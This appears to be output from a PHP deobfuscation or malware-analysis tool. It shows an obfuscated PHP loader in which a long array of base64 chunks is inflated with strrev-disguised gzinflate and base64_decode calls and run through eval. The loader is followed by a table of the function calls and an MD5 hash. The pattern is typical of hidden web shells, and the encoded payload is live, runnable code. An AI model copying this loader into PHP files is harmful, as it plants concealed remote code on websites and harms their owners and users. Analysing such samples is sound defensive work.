','65UFL6Fy9HIwKwdbpeBOOfNOwZkT','hSGeOeUfOGCXROWj9fqNeUJstUp5','L+7/xHKdYLUJxfzNI7yEC/WS5Qj2','L0w1ITd0vZy/UfCDYwZhjYb8hHgN','TsFJVopgtgoPagwmf2UrR+kUnwbw','es9332hE9oLVJkv5gq4pi86Et0oO','zRNsgxVODSsDo12+ycrh+VGUwh2n','CN4pXOUF1Ck8ZLbEJsTITyg8oLSK','yzNwd5yXb9AlvmG8/HQmoemUcWyx','Mmj+FtehxKDW314Dd9bA8/njmmHp','r28yE8KChErh+U7r0LbeEV1PKdwp','h+f/qJqB58u3xO+5v1NeEybMcMrh','rTVwq6i0ZVDsNfA1Ihzn9fU9oTZa','Zil3o/DnnwxKsYLWq89q6YkZNfkl','lEobIQncHbWO1yQIS/6uCalrcKRC','TFOcdHLIIkaCtXKGt1PAyl7HaGGn','VoS10NgXISUBtlOASFh0IkZl2C7g','Q3mDEnHnaRjtFLyAZjA6mdRlkjNn','EZErzsSKQedvrGXm4NDZS0cs3Exn','an1D/EfWoTNJlvxys5OAyfUisK1V','aFvnrR9f+Sy1vpl4TnZ9hmnIYXI7','jht0emZ0JICvnqbJn35pOXKcnIbn','ffR7VspH53tR5vADpZQNxr/DC30n','4U62ockhJ10OE7FBzKmjSQAU7dS5','ti06uF/gT/9wJui0dLp4GoXFuJNg','c7vqYmNvmImaTvIgCvJvp3IxlPGH','LFN4MaMnJh+VeGZ3svh0CiZOONhC','si3j4JaCLcPT2BCPATnLDFJgusIs','AhcfS0lhySMpKJ73ezkwNNmNkw/r','FMNMVswTuxQzZ9guVtEqYWe1itWw','2iV0+eq3WiKcmd1a9VK7ledB+RxN','vn/5U2s6FN1l6OqTJgmIPzhiOjkB','QY6l4AWrYLvpGNmYZpjVomewF3KG','foKg5+WSmRlyz0K/+TGWcGJkAqct','Og/D1AshZloOOuKYmroRIy0gjLIS','heF5C9SY1eShCge1Asf5dR7+pCg9','R7r0sGhVw6d+YQnUHoLgYezhp2g8','D2loEk3vgxg/ibd+6D6OCWXmD7wQ','P4WBgCGf/tgHEYQ5DwkRLzPBmz8d','PCtj/z50w2f8jo8Hz0K6s6Phg8Tj','II5Btvb4+BjFyFibPcejYAofgBEQ','4oiHLDX4Alj44Xn6BG/xo9/3xkQT','upN7/unZnQ48gobedADv3/1wjsIm','7vjRDUnUgweaavf+9EFcqxsGoef2','R3jJcPHBWjdS5BCN1PA2Iz3wO3Hj','/qiqNhfATRUvXyZP6xZf08sIrea4','KBGbGS0SnUHJik+fH67VyrTgl9Ho','0sAq5cEhY+WTEKPi0mr2ceaVB+vF','Nau5e5h5sL3wJlJ6uQEIDjUte3tr','7grNFqXzx/wXOB6fnHS/XPVOj88+','XANjfrsuF6V7dnL+7tPZh2IUvAq4','JHDJJj83k9njpY4KBHC9EgeQcUyv','bcLsK9xZSQqqn4O//fHYbZoNXan2','g8nMjX0I5H3l8+WnruI09H3l35BB','wWOknF0pdkOvyRqWkFpIKpD2lesF','AqvB9hVvunt9ua+E3/dYo9PQG2C3','D17/a9CEmuXoHcNglvLeD71h8NRs','IfwXRWTYtnRLNxVBTszv/XDQ1Bv2','76pvwPqdCoKuscPMjPY2gFUuQd77','WLmuiwWq50/9GFyNl3xy4d6T19fk','XZCKvBGnCAfe4J2Dql4Xlzz5YG2X','1e7oVgBUkkMlEVOlUKavkQcZCwT9','UV05ub44PYfAgzfIWoCWo33sHr/r','XtQVvRzt6tPn7vn1Fd6HDMoxL7pX','1xdnVxfHZ5fvkTFboybkJqVmXRgh','SdA31bcwTbzzU9Uid+j1JsHA42mU','AvBGc+/ejTx+fb22uXD5/G2h2Pfn','p6fn/z49Pzm++nR+xrWUpFSASmg/','H//PRffdp4vLumLw6xqZS1fSyUiS','zlzciMYhJblcJYgyN33kTV55lSO9','mCKuS6dXqFYui0cBxC5YI4muh3Fw','746VSjAe8BtEpCpe03xZtIHeSxej','5M0ffutEhhaqk10/tppbgIBgtZbc','Ta7MgD2KhmHeQHD2b72n2RgvyqnN','DEsJxbcb/W4/yyGrEFVC1AVh2Zvs','hAuBIogOFVXNXHCWrEBmsuIk11tH','QRTfP9ON5ESfn2h3Po8ytGXGxBd9','gvfXpH+qwKKuODrEuxeG04C/w6zS','3IIvnjvB2Ovh7eNgDt5B0rpEoPjB','kdS+EXQlKPlD90rMGpeYJmvot+Ht','VN1PkRqA9RG03yPz5kEv8N6pF+4p','wt+IRzzzkI/7fW8W756604c5oOxh','YZ1HdXjb/3ao414zh+gaeoHdYww4','0MLNwzgJplOPQnxPOcHsQaQUcTib','4xVAsopCVNwD9Lck8K8HeMFQmIjS','SnpeZBZIGIITEw6m3rFrmRZK5CvR','c8UEYTZiE43qAlo3BDLPNwxgDpAx','zP0m8zEbkQmFmsIP7kO8BEevt1OB','kkZshmghSVEhlVOBZkJUKl5oxO6y','4vF+XEZdxtVNwz7BUNVsiwfscLy2','amDghZAVNik4rUkpt4U29DTgtxtv','97DgyOln/1DBSg2RJHvK0swXCoqY','3Sr5bZitQXlFaCP1zorZk2hQV4Qj','G3V7q21vbzHGtrc6HfjXxi84olti','mDF9e8ty1HWikmmCIOgE04Ba+Hsb','slWsLTtBri78fekPciQrTLLEumNo','qXu4ig35+kJ/n4Bpsonpx09cQaxZ','tGI9xT1+P77K21GUwHeFyuGRko5t','aKK80TgUNxokB+PL8tqacwUY67+C','pRSUyFxb/sWVlU9IoOjUeP/c/H8=');$qqv = strrev('edoc'.'ed_4'.'6'.'es'.'ab');$jgbszwhd = strrev('e'.'tal'.'fn'.'iz'.'g');eval($jgbszwhd($qqv(implode('',$yobqxr)))); ?>Function Calls
| strrev | 2 |
| implode | 1 |
| gzinflate | 1 |
| base64_decode | 1 |
Stats
| MD5 | 44cbdae190da730cfd596fd9183d77a1 |
| Eval Count | 1 |
| Decode Time | 132 ms |